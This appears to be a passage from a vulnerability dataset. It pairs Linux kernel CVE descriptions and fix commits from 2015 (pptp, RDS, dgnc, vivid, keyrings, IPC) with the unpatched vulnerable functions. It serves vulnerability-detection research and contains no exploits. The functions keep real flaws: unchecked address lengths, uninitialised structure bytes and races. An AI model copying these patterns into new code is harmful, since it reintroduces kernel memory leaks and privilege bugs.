CVE-2015-8660

The ovl_setattr function in fs/overlayfs/inode.c in the Linux kernel through 4.3.3 attempts to merge distinct setattr operations, which allows local users to bypass intended access restrictions and modify the attributes of arbitrary overlay files via a crafted application.

https://nvd.nist.gov/vuln/detail/CVE-2015-8660

linux

09ccfd238e5a0e670d8178cf50180ea81ae09ae1

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/09ccfd238e5a0e670d8178cf50180ea81ae09ae1

pptp: verify sockaddr_len in pptp_bind() and pptp_connect() Reported-by: Dmitry Vyukov <dvyukov@gmail.com> Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net>

static int pptp_bind(struct socket *sock, struct sockaddr *uservaddr, int sockaddr_len) { struct sock *sk = sock->sk; struct sockaddr_pppox *sp = (struct sockaddr_pppox *) uservaddr; struct pppox_sock *po = pppox_sk(sk); struct pptp_opt *opt = &po->proto.pptp; int error = 0; lock_sock(sk); opt->src_addr = sp->sa_addr.pptp; if (add_chan(po)) error = -EBUSY; release_sock(sk); return error; }

pptp.c

CVE-2015-8569

The (1) pptp_bind and (2) pptp_connect functions in drivers/net/ppp/pptp.c in the Linux kernel through 4.3.3 do not verify an address length, which allows local users to obtain sensitive information from kernel memory and bypass the KASLR protection mechanism via a crafted application.

https://nvd.nist.gov/vuln/detail/CVE-2015-8569

linux

09ccfd238e5a0e670d8178cf50180ea81ae09ae1

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/09ccfd238e5a0e670d8178cf50180ea81ae09ae1

pptp: verify sockaddr_len in pptp_bind() and pptp_connect() Reported-by: Dmitry Vyukov <dvyukov@gmail.com> Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net>

static int pptp_connect(struct socket *sock, struct sockaddr *uservaddr, int sockaddr_len, int flags) { struct sock *sk = sock->sk; struct sockaddr_pppox *sp = (struct sockaddr_pppox *) uservaddr; struct pppox_sock *po = pppox_sk(sk); struct pptp_opt *opt = &po->proto.pptp; struct rtable *rt; struct flowi4 fl4; int error = 0; if (sp->sa_protocol != PX_PROTO_PPTP) return -EINVAL; if (lookup_chan_dst(sp->sa_addr.pptp.call_id, sp->sa_addr.pptp.sin_addr.s_addr)) return -EALREADY; lock_sock(sk); /* Check for already bound sockets */ if (sk->sk_state & PPPOX_CONNECTED) { error = -EBUSY; goto end; } /* Check for already disconnected sockets, on attempts to disconnect */ if (sk->sk_state & PPPOX_DEAD) { error = -EALREADY; goto end; } if (!opt->src_addr.sin_addr.s_addr || !sp->sa_addr.pptp.sin_addr.s_addr) { error = -EINVAL; goto end; } po->chan.private = sk; po->chan.ops = &pptp_chan_ops; rt = ip_route_output_ports(sock_net(sk), &fl4, sk, opt->dst_addr.sin_addr.s_addr, opt->src_addr.sin_addr.s_addr, 0, 0, IPPROTO_GRE, RT_CONN_FLAGS(sk), 0); if (IS_ERR(rt)) { error = -EHOSTUNREACH; goto end; } sk_setup_caps(sk, &rt->dst); po->chan.mtu = dst_mtu(&rt->dst); if (!po->chan.mtu) po->chan.mtu = PPP_MRU; ip_rt_put(rt); po->chan.mtu -= PPTP_HEADER_OVERHEAD; po->chan.hdrlen = 2 + sizeof(struct pptp_gre_header); error = ppp_register_channel(&po->chan); if (error) { pr_err("PPTP: failed to register PPP channel (%d)\n", error); goto end; } opt->dst_addr = sp->sa_addr.pptp; sk->sk_state = PPPOX_CONNECTED; end: release_sock(sk); return error; }

pptp.c

CVE-2015-8569

The (1) pptp_bind and (2) pptp_connect functions in drivers/net/ppp/pptp.c in the Linux kernel through 4.3.3 do not verify an address length, which allows local users to obtain sensitive information from kernel memory and bypass the KASLR protection mechanism via a crafted application.

https://nvd.nist.gov/vuln/detail/CVE-2015-8569

linux

8c7188b23474cca017b3ef354c4a58456f68303a

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/8c7188b23474cca017b3ef354c4a58456f68303a

RDS: fix race condition when sending a message on unbound socket Sasha's found a NULL pointer dereference in the RDS connection code when sending a message to an apparently unbound socket. The problem is caused by the code checking if the socket is bound in rds_sendmsg(), which checks the rs_bound_addr field without taking a lock on the socket. This opens a race where rs_bound_addr is temporarily set but where the transport is not in rds_bind(), leading to a NULL pointer dereference when trying to dereference 'trans' in __rds_conn_create(). Vegard wrote a reproducer for this issue, so kindly ask him to share if you're interested. I cannot reproduce the NULL pointer dereference using Vegard's reproducer with this patch, whereas I could without. Complete earlier incomplete fix to CVE-2015-6937: 74e98eb08588 ("RDS: verify the underlying transport exists before creating a connection") Cc: David S. Miller <davem@davemloft.net> Cc: stable@vger.kernel.org Reviewed-by: Vegard Nossum <vegard.nossum@oracle.com> Reviewed-by: Sasha Levin <sasha.levin@oracle.com> Acked-by: Santosh Shilimkar <santosh.shilimkar@oracle.com> Signed-off-by: Quentin Casasnovas <quentin.casasnovas@oracle.com> Signed-off-by: David S. Miller <davem@davemloft.net>

int rds_sendmsg(struct socket *sock, struct msghdr *msg, size_t payload_len) { struct sock *sk = sock->sk; struct rds_sock *rs = rds_sk_to_rs(sk); DECLARE_SOCKADDR(struct sockaddr_in *, usin, msg->msg_name); __be32 daddr; __be16 dport; struct rds_message *rm = NULL; struct rds_connection *conn; int ret = 0; int queued = 0, allocated_mr = 0; int nonblock = msg->msg_flags & MSG_DONTWAIT; long timeo = sock_sndtimeo(sk, nonblock); /* Mirror Linux UDP mirror of BSD error message compatibility */ /* XXX: Perhaps MSG_MORE someday */ if (msg->msg_flags & ~(MSG_DONTWAIT | MSG_CMSG_COMPAT)) { ret = -EOPNOTSUPP; goto out; } if (msg->msg_namelen) { /* XXX fail non-unicast destination IPs? */ if (msg->msg_namelen < sizeof(*usin) || usin->sin_family != AF_INET) { ret = -EINVAL; goto out; } daddr = usin->sin_addr.s_addr; dport = usin->sin_port; } else { /* We only care about consistency with ->connect() */ lock_sock(sk); daddr = rs->rs_conn_addr; dport = rs->rs_conn_port; release_sock(sk); } /* racing with another thread binding seems ok here */ if (daddr == 0 || rs->rs_bound_addr == 0) { ret = -ENOTCONN; /* XXX not a great errno */ goto out; } if (payload_len > rds_sk_sndbuf(rs)) { ret = -EMSGSIZE; goto out; } /* size of rm including all sgs */ ret = rds_rm_size(msg, payload_len); if (ret < 0) goto out; rm = rds_message_alloc(ret, GFP_KERNEL); if (!rm) { ret = -ENOMEM; goto out; } /* Attach data to the rm */ if (payload_len) { rm->data.op_sg = rds_message_alloc_sgs(rm, ceil(payload_len, PAGE_SIZE)); if (!rm->data.op_sg) { ret = -ENOMEM; goto out; } ret = rds_message_copy_from_user(rm, &msg->msg_iter); if (ret) goto out; } rm->data.op_active = 1; rm->m_daddr = daddr; /* rds_conn_create has a spinlock that runs with IRQ off. * Caching the conn in the socket helps a lot. */ if (rs->rs_conn && rs->rs_conn->c_faddr == daddr) conn = rs->rs_conn; else { conn = rds_conn_create_outgoing(sock_net(sock->sk), rs->rs_bound_addr, daddr, rs->rs_transport, sock->sk->sk_allocation); if (IS_ERR(conn)) { ret = PTR_ERR(conn); goto out; } rs->rs_conn = conn; } /* Parse any control messages the user may have included. */ ret = rds_cmsg_send(rs, rm, msg, &allocated_mr); if (ret) goto out; if (rm->rdma.op_active && !conn->c_trans->xmit_rdma) { printk_ratelimited(KERN_NOTICE "rdma_op %p conn xmit_rdma %p\n", &rm->rdma, conn->c_trans->xmit_rdma); ret = -EOPNOTSUPP; goto out; } if (rm->atomic.op_active && !conn->c_trans->xmit_atomic) { printk_ratelimited(KERN_NOTICE "atomic_op %p conn xmit_atomic %p\n", &rm->atomic, conn->c_trans->xmit_atomic); ret = -EOPNOTSUPP; goto out; } rds_conn_connect_if_down(conn); ret = rds_cong_wait(conn->c_fcong, dport, nonblock, rs); if (ret) { rs->rs_seen_congestion = 1; goto out; } while (!rds_send_queue_rm(rs, conn, rm, rs->rs_bound_port, dport, &queued)) { rds_stats_inc(s_send_queue_full); if (nonblock) { ret = -EAGAIN; goto out; } timeo = wait_event_interruptible_timeout(*sk_sleep(sk), rds_send_queue_rm(rs, conn, rm, rs->rs_bound_port, dport, &queued), timeo); rdsdebug("sendmsg woke queued %d timeo %ld\n", queued, timeo); if (timeo > 0 || timeo == MAX_SCHEDULE_TIMEOUT) continue; ret = timeo; if (ret == 0) ret = -ETIMEDOUT; goto out; } /* * By now we've committed to the send. We reuse rds_send_worker() * to retry sends in the rds thread if the transport asks us to. */ rds_stats_inc(s_send_queued); ret = rds_send_xmit(conn); if (ret == -ENOMEM || ret == -EAGAIN) queue_delayed_work(rds_wq, &conn->c_send_w, 1); rds_message_put(rm); return payload_len; out: /* If the user included a RDMA_MAP cmsg, we allocated a MR on the fly. * If the sendmsg goes through, we keep the MR. If it fails with EAGAIN * or in any other way, we need to destroy the MR again */ if (allocated_mr) rds_rdma_unuse(rs, rds_rdma_cookie_key(rm->m_rdma_cookie), 1); if (rm) rds_message_put(rm); return ret; }

send.c

CVE-2015-7990

Race condition in the rds_sendmsg function in net/rds/sendmsg.c in the Linux kernel before 4.3.3 allows local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by using a socket that was not properly bound. NOTE: this vulnerability exists because of an incomplete fix for CVE-2015-6937.

https://nvd.nist.gov/vuln/detail/CVE-2015-7990

linux

4b6184336ebb5c8dc1eae7f7ab46ee608a748b05

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/4b6184336ebb5c8dc1eae7f7ab46ee608a748b05

staging/dgnc: fix info leak in ioctl The dgnc_mgmt_ioctl() code fails to initialize the 16 _reserved bytes of struct digi_dinfo after the ->dinfo_nboards member. Add an explicit memset(0) before filling the structure to avoid the info leak. Signed-off-by: Salva Peiró <speirofr@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

long dgnc_mgmt_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { unsigned long flags; void __user *uarg = (void __user *)arg; switch (cmd) { case DIGI_GETDD: { /* * This returns the total number of boards * in the system, as well as driver version * and has space for a reserved entry */ struct digi_dinfo ddi; spin_lock_irqsave(&dgnc_global_lock, flags); ddi.dinfo_nboards = dgnc_NumBoards; sprintf(ddi.dinfo_version, "%s", DG_PART); spin_unlock_irqrestore(&dgnc_global_lock, flags); if (copy_to_user(uarg, &ddi, sizeof(ddi))) return -EFAULT; break; } case DIGI_GETBD: { int brd; struct digi_info di; if (copy_from_user(&brd, uarg, sizeof(int))) return -EFAULT; if (brd < 0 || brd >= dgnc_NumBoards) return -ENODEV; memset(&di, 0, sizeof(di)); di.info_bdnum = brd; spin_lock_irqsave(&dgnc_Board[brd]->bd_lock, flags); di.info_bdtype = dgnc_Board[brd]->dpatype; di.info_bdstate = dgnc_Board[brd]->dpastatus; di.info_ioport = 0; di.info_physaddr = (ulong)dgnc_Board[brd]->membase; di.info_physsize = (ulong)dgnc_Board[brd]->membase - dgnc_Board[brd]->membase_end; if (dgnc_Board[brd]->state != BOARD_FAILED) di.info_nports = dgnc_Board[brd]->nasync; else di.info_nports = 0; spin_unlock_irqrestore(&dgnc_Board[brd]->bd_lock, flags); if (copy_to_user(uarg, &di, sizeof(di))) return -EFAULT; break; } case DIGI_GET_NI_INFO: { struct channel_t *ch; struct ni_info ni; unsigned char mstat = 0; uint board = 0; uint channel = 0; if (copy_from_user(&ni, uarg, sizeof(ni))) return -EFAULT; board = ni.board; channel = ni.channel; /* Verify boundaries on board */ if (board >= dgnc_NumBoards) return -ENODEV; /* Verify boundaries on channel */ if (channel >= dgnc_Board[board]->nasync) return -ENODEV; ch = dgnc_Board[board]->channels[channel]; if (!ch || ch->magic != DGNC_CHANNEL_MAGIC) return -ENODEV; memset(&ni, 0, sizeof(ni)); ni.board = board; ni.channel = channel; spin_lock_irqsave(&ch->ch_lock, flags); mstat = (ch->ch_mostat | ch->ch_mistat); if (mstat & UART_MCR_DTR) { ni.mstat |= TIOCM_DTR; ni.dtr = TIOCM_DTR; } if (mstat & UART_MCR_RTS) { ni.mstat |= TIOCM_RTS; ni.rts = TIOCM_RTS; } if (mstat & UART_MSR_CTS) { ni.mstat |= TIOCM_CTS; ni.cts = TIOCM_CTS; } if (mstat & UART_MSR_RI) { ni.mstat |= TIOCM_RI; ni.ri = TIOCM_RI; } if (mstat & UART_MSR_DCD) { ni.mstat |= TIOCM_CD; ni.dcd = TIOCM_CD; } if (mstat & UART_MSR_DSR) ni.mstat |= TIOCM_DSR; ni.iflag = ch->ch_c_iflag; ni.oflag = ch->ch_c_oflag; ni.cflag = ch->ch_c_cflag; ni.lflag = ch->ch_c_lflag; if (ch->ch_digi.digi_flags & CTSPACE || ch->ch_c_cflag & CRTSCTS) ni.hflow = 1; else ni.hflow = 0; if ((ch->ch_flags & CH_STOPI) || (ch->ch_flags & CH_FORCED_STOPI)) ni.recv_stopped = 1; else ni.recv_stopped = 0; if ((ch->ch_flags & CH_STOP) || (ch->ch_flags & CH_FORCED_STOP)) ni.xmit_stopped = 1; else ni.xmit_stopped = 0; ni.curtx = ch->ch_txcount; ni.currx = ch->ch_rxcount; ni.baud = ch->ch_old_baud; spin_unlock_irqrestore(&ch->ch_lock, flags); if (copy_to_user(uarg, &ni, sizeof(ni))) return -EFAULT; break; } } return 0; }

dgnc_mgmt.c

CVE-2015-7885

The dgnc_mgmt_ioctl function in drivers/staging/dgnc/dgnc_mgmt.c in the Linux kernel through 4.3.3 does not initialize a certain structure member, which allows local users to obtain sensitive information from kernel memory via a crafted application.

https://nvd.nist.gov/vuln/detail/CVE-2015-7885

linux

eda98796aff0d9bf41094b06811f5def3b4c333c

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/eda98796aff0d9bf41094b06811f5def3b4c333c

[media] media/vivid-osd: fix info leak in ioctl The vivid_fb_ioctl() code fails to initialize the 16 _reserved bytes of struct fb_vblank after the ->hcount member. Add an explicit memset(0) before filling the structure to avoid the info leak. Signed-off-by: Salva Peiró <speirofr@gmail.com> Signed-off-by: Hans Verkuil <hans.verkuil@cisco.com> Signed-off-by: Mauro Carvalho Chehab <mchehab@osg.samsung.com>

static int vivid_fb_ioctl(struct fb_info *info, unsigned cmd, unsigned long arg) { struct vivid_dev *dev = (struct vivid_dev *)info->par; switch (cmd) { case FBIOGET_VBLANK: { struct fb_vblank vblank; vblank.flags = FB_VBLANK_HAVE_COUNT | FB_VBLANK_HAVE_VCOUNT | FB_VBLANK_HAVE_VSYNC; vblank.count = 0; vblank.vcount = 0; vblank.hcount = 0; if (copy_to_user((void __user *)arg, &vblank, sizeof(vblank))) return -EFAULT; return 0; } default: dprintk(dev, 1, "Unknown ioctl %08x\n", cmd); return -EINVAL; } return 0; }

vivid-osd.c

CVE-2015-7884

The vivid_fb_ioctl function in drivers/media/platform/vivid/vivid-osd.c in the Linux kernel through 4.3.3 does not initialize a certain structure member, which allows local users to obtain sensitive information from kernel memory via a crafted application.

https://nvd.nist.gov/vuln/detail/CVE-2015-7884

linux

ce1fad2740c648a4340f6f6c391a8a83769d2e8c

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/ce1fad2740c648a4340f6f6c391a8a83769d2e8c

Merge branch 'keys-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs Pull key handling fixes from David Howells: "Here are two patches, the first of which at least should go upstream immediately: (1) Prevent a user-triggerable crash in the keyrings destructor when a negatively instantiated keyring is garbage collected. I have also seen this triggered for user type keys. (2) Prevent the user from using requesting that a keyring be created and instantiated through an upcall. Doing so is probably safe since the keyring type ignores the arguments to its instantiation function - but we probably shouldn't let keyrings be created in this manner" * 'keys-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs: KEYS: Don't permit request_key() to construct a new keyring KEYS: Fix crash when attempt to garbage collect an uninstantiated keyring

static noinline void key_gc_unused_keys(struct list_head *keys) { while (!list_empty(keys)) { struct key *key = list_entry(keys->next, struct key, graveyard_link); list_del(&key->graveyard_link); kdebug("- %u", key->serial); key_check(key); /* Throw away the key data */ if (key->type->destroy) key->type->destroy(key); security_key_free(key); /* deal with the user's key tracking and quota */ if (test_bit(KEY_FLAG_IN_QUOTA, &key->flags)) { spin_lock(&key->user->lock); key->user->qnkeys--; key->user->qnbytes -= key->quotalen; spin_unlock(&key->user->lock); } atomic_dec(&key->user->nkeys); if (test_bit(KEY_FLAG_INSTANTIATED, &key->flags)) atomic_dec(&key->user->nikeys); key_user_put(key->user); kfree(key->description); #ifdef KEY_DEBUGGING key->magic = KEY_DEBUG_MAGIC_X; #endif kmem_cache_free(key_jar, key); } }

gc.c

CVE-2015-7872

The key_gc_unused_keys function in security/keys/gc.c in the Linux kernel through 4.2.6 allows local users to cause a denial of service (OOPS) via crafted keyctl commands.

https://nvd.nist.gov/vuln/detail/CVE-2015-7872

linux

b9a532277938798b53178d5a66af6e2915cb27cf

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/b9a532277938798b53178d5a66af6e2915cb27cf

Initialize msg/shm IPC objects before doing ipc_addid() As reported by Dmitry Vyukov, we really shouldn't do ipc_addid() before having initialized the IPC object state. Yes, we initialize the IPC object in a locked state, but with all the lockless RCU lookup work, that IPC object lock no longer means that the state cannot be seen. We already did this for the IPC semaphore code (see commit e8577d1f0329: "ipc/sem.c: fully initialize sem_array before making it visible") but we clearly forgot about msg and shm. Reported-by: Dmitry Vyukov <dvyukov@google.com> Cc: Manfred Spraul <manfred@colorfullife.com> Cc: Davidlohr Bueso <dbueso@suse.de> Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

static int newque(struct ipc_namespace *ns, struct ipc_params *params) { struct msg_queue *msq; int id, retval; key_t key = params->key; int msgflg = params->flg; msq = ipc_rcu_alloc(sizeof(*msq)); if (!msq) return -ENOMEM; msq->q_perm.mode = msgflg & S_IRWXUGO; msq->q_perm.key = key; msq->q_perm.security = NULL; retval = security_msg_queue_alloc(msq); if (retval) { ipc_rcu_putref(msq, ipc_rcu_free); return retval; } /* ipc_addid() locks msq upon success. */ id = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni); if (id < 0) { ipc_rcu_putref(msq, msg_rcu_free); return id; } msq->q_stime = msq->q_rtime = 0; msq->q_ctime = get_seconds(); msq->q_cbytes = msq->q_qnum = 0; msq->q_qbytes = ns->msg_ctlmnb; msq->q_lspid = msq->q_lrpid = 0; INIT_LIST_HEAD(&msq->q_messages); INIT_LIST_HEAD(&msq->q_receivers); INIT_LIST_HEAD(&msq->q_senders); ipc_unlock_object(&msq->q_perm); rcu_read_unlock(); return msq->q_perm.id; }

msg.c

CVE-2015-7613

Race condition in the IPC object implementation in the Linux kernel through 4.2.3 allows local users to gain privileges by triggering an ipc_addid call that leads to uid and gid comparisons against uninitialized data, related to msg.c, shm.c, and util.c.

https://nvd.nist.gov/vuln/detail/CVE-2015-7613

linux

b9a532277938798b53178d5a66af6e2915cb27cf

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/b9a532277938798b53178d5a66af6e2915cb27cf

Initialize msg/shm IPC objects before doing ipc_addid() As reported by Dmitry Vyukov, we really shouldn't do ipc_addid() before having initialized the IPC object state. Yes, we initialize the IPC object in a locked state, but with all the lockless RCU lookup work, that IPC object lock no longer means that the state cannot be seen. We already did this for the IPC semaphore code (see commit e8577d1f0329: "ipc/sem.c: fully initialize sem_array before making it visible") but we clearly forgot about msg and shm. Reported-by: Dmitry Vyukov <dvyukov@google.com> Cc: Manfred Spraul <manfred@colorfullife.com> Cc: Davidlohr Bueso <dbueso@suse.de> Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

static int newseg(struct ipc_namespace *ns, struct ipc_params *params) { key_t key = params->key; int shmflg = params->flg; size_t size = params->u.size; int error; struct shmid_kernel *shp; size_t numpages = (size + PAGE_SIZE - 1) >> PAGE_SHIFT; struct file *file; char name[13]; int id; vm_flags_t acctflag = 0; if (size < SHMMIN || size > ns->shm_ctlmax) return -EINVAL; if (numpages << PAGE_SHIFT < size) return -ENOSPC; if (ns->shm_tot + numpages < ns->shm_tot || ns->shm_tot + numpages > ns->shm_ctlall) return -ENOSPC; shp = ipc_rcu_alloc(sizeof(*shp)); if (!shp) return -ENOMEM; shp->shm_perm.key = key; shp->shm_perm.mode = (shmflg & S_IRWXUGO); shp->mlock_user = NULL; shp->shm_perm.security = NULL; error = security_shm_alloc(shp); if (error) { ipc_rcu_putref(shp, ipc_rcu_free); return error; } sprintf(name, "SYSV%08x", key); if (shmflg & SHM_HUGETLB) { struct hstate *hs; size_t hugesize; hs = hstate_sizelog((shmflg >> SHM_HUGE_SHIFT) & SHM_HUGE_MASK); if (!hs) { error = -EINVAL; goto no_file; } hugesize = ALIGN(size, huge_page_size(hs)); /* hugetlb_file_setup applies strict accounting */ if (shmflg & SHM_NORESERVE) acctflag = VM_NORESERVE; file = hugetlb_file_setup(name, hugesize, acctflag, &shp->mlock_user, HUGETLB_SHMFS_INODE, (shmflg >> SHM_HUGE_SHIFT) & SHM_HUGE_MASK); } else { /* * Do not allow no accounting for OVERCOMMIT_NEVER, even * if it's asked for. */ if ((shmflg & SHM_NORESERVE) && sysctl_overcommit_memory != OVERCOMMIT_NEVER) acctflag = VM_NORESERVE; file = shmem_kernel_file_setup(name, size, acctflag); } error = PTR_ERR(file); if (IS_ERR(file)) goto no_file; id = ipc_addid(&shm_ids(ns), &shp->shm_perm, ns->shm_ctlmni); if (id < 0) { error = id; goto no_id; } shp->shm_cprid = task_tgid_vnr(current); shp->shm_lprid = 0; shp->shm_atim = shp->shm_dtim = 0; shp->shm_ctim = get_seconds(); shp->shm_segsz = size; shp->shm_nattch = 0; shp->shm_file = file; shp->shm_creator = current; list_add(&shp->shm_clist, &current->sysvshm.shm_clist); /* * shmid gets reported as "inode#" in /proc/pid/maps. * proc-ps tools use this. Changing this will break them. */ file_inode(file)->i_ino = shp->shm_perm.id; ns->shm_tot += numpages; error = shp->shm_perm.id; ipc_unlock_object(&shp->shm_perm); rcu_read_unlock(); return error; no_id: if (is_file_hugepages(file) && shp->mlock_user) user_shm_unlock(size, shp->mlock_user); fput(file); no_file: ipc_rcu_putref(shp, shm_rcu_free); return error; }

shm.c

CVE-2015-7613

Race condition in the IPC object implementation in the Linux kernel through 4.2.3 allows local users to gain privileges by triggering an ipc_addid call that leads to uid and gid comparisons against uninitialized data, related to msg.c, shm.c, and util.c.

https://nvd.nist.gov/vuln/detail/CVE-2015-7613

linux

b9a532277938798b53178d5a66af6e2915cb27cf

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/b9a532277938798b53178d5a66af6e2915cb27cf

Initialize msg/shm IPC objects before doing ipc_addid() As reported by Dmitry Vyukov, we really shouldn't do ipc_addid() before having initialized the IPC object state. Yes, we initialize the IPC object in a locked state, but with all the lockless RCU lookup work, that IPC object lock no longer means that the state cannot be seen. We already did this for the IPC semaphore code (see commit e8577d1f0329: "ipc/sem.c: fully initialize sem_array before making it visible") but we clearly forgot about msg and shm. Reported-by: Dmitry Vyukov <dvyukov@google.com> Cc: Manfred Spraul <manfred@colorfullife.com> Cc: Davidlohr Bueso <dbueso@suse.de> Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

int ipc_addid(struct ipc_ids *ids, struct kern_ipc_perm *new, int size) { kuid_t euid; kgid_t egid; int id; int next_id = ids->next_id; if (size > IPCMNI) size = IPCMNI; if (ids->in_use >= size) return -ENOSPC; idr_preload(GFP_KERNEL); spin_lock_init(&new->lock); new->deleted = false; rcu_read_lock(); spin_lock(&new->lock); id = idr_alloc(&ids->ipcs_idr, new, (next_id < 0) ? 0 : ipcid_to_idx(next_id), 0, GFP_NOWAIT); idr_preload_end(); if (id < 0) { spin_unlock(&new->lock); rcu_read_unlock(); return id; } ids->in_use++; current_euid_egid(&euid, &egid); new->cuid = new->uid = euid; new->gid = new->cgid = egid; if (next_id < 0) { new->seq = ids->seq++; if (ids->seq > IPCID_SEQ_MAX) ids->seq = 0; } else { new->seq = ipcid_to_seqx(next_id); ids->next_id = -1; } new->id = ipc_buildid(id, new->seq); return id; }

util.c

CVE-2015-7613

Race condition in the IPC object implementation in the Linux kernel through 4.2.3 allows local users to gain privileges by triggering an ipc_addid call that leads to uid and gid comparisons against uninitialized data, related to msg.c, shm.c, and util.c.

https://nvd.nist.gov/vuln/detail/CVE-2015-7613

linux

74e98eb085889b0d2d4908f59f6e00026063014f

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/74e98eb085889b0d2d4908f59f6e00026063014f

RDS: verify the underlying transport exists before creating a connection There was no verification that an underlying transport exists when creating a connection, this would cause dereferencing a NULL ptr. It might happen on sockets that weren't properly bound before attempting to send a message, which will cause a NULL ptr deref: [135546.047719] kasan: GPF could be caused by NULL-ptr deref or user memory accessgeneral protection fault: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN [135546.051270] Modules linked in: [135546.051781] CPU: 4 PID: 15650 Comm: trinity-c4 Not tainted 4.2.0-next-20150902-sasha-00041-gbaa1222-dirty #2527 [135546.053217] task: ffff8800835bc000 ti: ffff8800bc708000 task.ti: ffff8800bc708000 [135546.054291] RIP: __rds_conn_create (net/rds/connection.c:194) [135546.055666] RSP: 0018:ffff8800bc70fab0 EFLAGS: 00010202 [135546.056457] RAX: dffffc0000000000 RBX: 0000000000000f2c RCX: ffff8800835bc000 [135546.057494] RDX: 0000000000000007 RSI: ffff8800835bccd8 RDI: 0000000000000038 [135546.058530] RBP: ffff8800bc70fb18 R08: 0000000000000001 R09: 0000000000000000 [135546.059556] R10: ffffed014d7a3a23 R11: ffffed014d7a3a21 R12: 0000000000000000 [135546.060614] R13: 0000000000000001 R14: ffff8801ec3d0000 R15: 0000000000000000 [135546.061668] FS: 00007faad4ffb700(0000) GS:ffff880252000000(0000) knlGS:0000000000000000 [135546.062836] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [135546.063682] CR2: 000000000000846a CR3: 000000009d137000 CR4: 00000000000006a0 [135546.064723] Stack: [135546.065048] ffffffffafe2055c ffffffffafe23fc1 ffffed00493097bf ffff8801ec3d0008 [135546.066247] 0000000000000000 00000000000000d0 0000000000000000 ac194a24c0586342 [135546.067438] 1ffff100178e1f78 ffff880320581b00 ffff8800bc70fdd0 ffff880320581b00 [135546.068629] Call Trace: [135546.069028] ? __rds_conn_create (include/linux/rcupdate.h:856 net/rds/connection.c:134) [135546.069989] ? rds_message_copy_from_user (net/rds/message.c:298) [135546.071021] rds_conn_create_outgoing (net/rds/connection.c:278) [135546.071981] rds_sendmsg (net/rds/send.c:1058) [135546.072858] ? perf_trace_lock (include/trace/events/lock.h:38) [135546.073744] ? lockdep_init (kernel/locking/lockdep.c:3298) [135546.074577] ? rds_send_drop_to (net/rds/send.c:976) [135546.075508] ? __might_fault (./arch/x86/include/asm/current.h:14 mm/memory.c:3795) [135546.076349] ? __might_fault (mm/memory.c:3795) [135546.077179] ? rds_send_drop_to (net/rds/send.c:976) [135546.078114] sock_sendmsg (net/socket.c:611 net/socket.c:620) [135546.078856] SYSC_sendto (net/socket.c:1657) [135546.079596] ? SYSC_connect (net/socket.c:1628) [135546.080510] ? trace_dump_stack (kernel/trace/trace.c:1926) [135546.081397] ? ring_buffer_unlock_commit (kernel/trace/ring_buffer.c:2479 kernel/trace/ring_buffer.c:2558 kernel/trace/ring_buffer.c:2674) [135546.082390] ? trace_buffer_unlock_commit (kernel/trace/trace.c:1749) [135546.083410] ? trace_event_raw_event_sys_enter (include/trace/events/syscalls.h:16) [135546.084481] ? do_audit_syscall_entry (include/trace/events/syscalls.h:16) [135546.085438] ? trace_buffer_unlock_commit (kernel/trace/trace.c:1749) [135546.085515] rds_ib_laddr_check(): addr 36.74.25.172 ret -99 node type -1 Acked-by: Santosh Shilimkar <santosh.shilimkar@oracle.com> Signed-off-by: Sasha Levin <sasha.levin@oracle.com> Signed-off-by: David S. Miller <davem@davemloft.net>

static struct rds_connection *__rds_conn_create(struct net *net, __be32 laddr, __be32 faddr, struct rds_transport *trans, gfp_t gfp, int is_outgoing) { struct rds_connection *conn, *parent = NULL; struct hlist_head *head = rds_conn_bucket(laddr, faddr); struct rds_transport *loop_trans; unsigned long flags; int ret; struct rds_transport *otrans = trans; if (!is_outgoing && otrans->t_type == RDS_TRANS_TCP) goto new_conn; rcu_read_lock(); conn = rds_conn_lookup(net, head, laddr, faddr, trans); if (conn && conn->c_loopback && conn->c_trans != &rds_loop_transport && laddr == faddr && !is_outgoing) { /* This is a looped back IB connection, and we're * called by the code handling the incoming connect. * We need a second connection object into which we * can stick the other QP. */ parent = conn; conn = parent->c_passive; } rcu_read_unlock(); if (conn) goto out; new_conn: conn = kmem_cache_zalloc(rds_conn_slab, gfp); if (!conn) { conn = ERR_PTR(-ENOMEM); goto out; } INIT_HLIST_NODE(&conn->c_hash_node); conn->c_laddr = laddr; conn->c_faddr = faddr; spin_lock_init(&conn->c_lock); conn->c_next_tx_seq = 1; rds_conn_net_set(conn, net); init_waitqueue_head(&conn->c_waitq); INIT_LIST_HEAD(&conn->c_send_queue); INIT_LIST_HEAD(&conn->c_retrans); ret = rds_cong_get_maps(conn); if (ret) { kmem_cache_free(rds_conn_slab, conn); conn = ERR_PTR(ret); goto out; } /* * This is where a connection becomes loopback. If *any* RDS sockets * can bind to the destination address then we'd rather the messages * flow through loopback rather than either transport. */ loop_trans = rds_trans_get_preferred(net, faddr); if (loop_trans) { rds_trans_put(loop_trans); conn->c_loopback = 1; if (is_outgoing && trans->t_prefer_loopback) { /* "outgoing" connection - and the transport * says it wants the connection handled by the * loopback transport. This is what TCP does. */ trans = &rds_loop_transport; } } conn->c_trans = trans; ret = trans->conn_alloc(conn, gfp); if (ret) 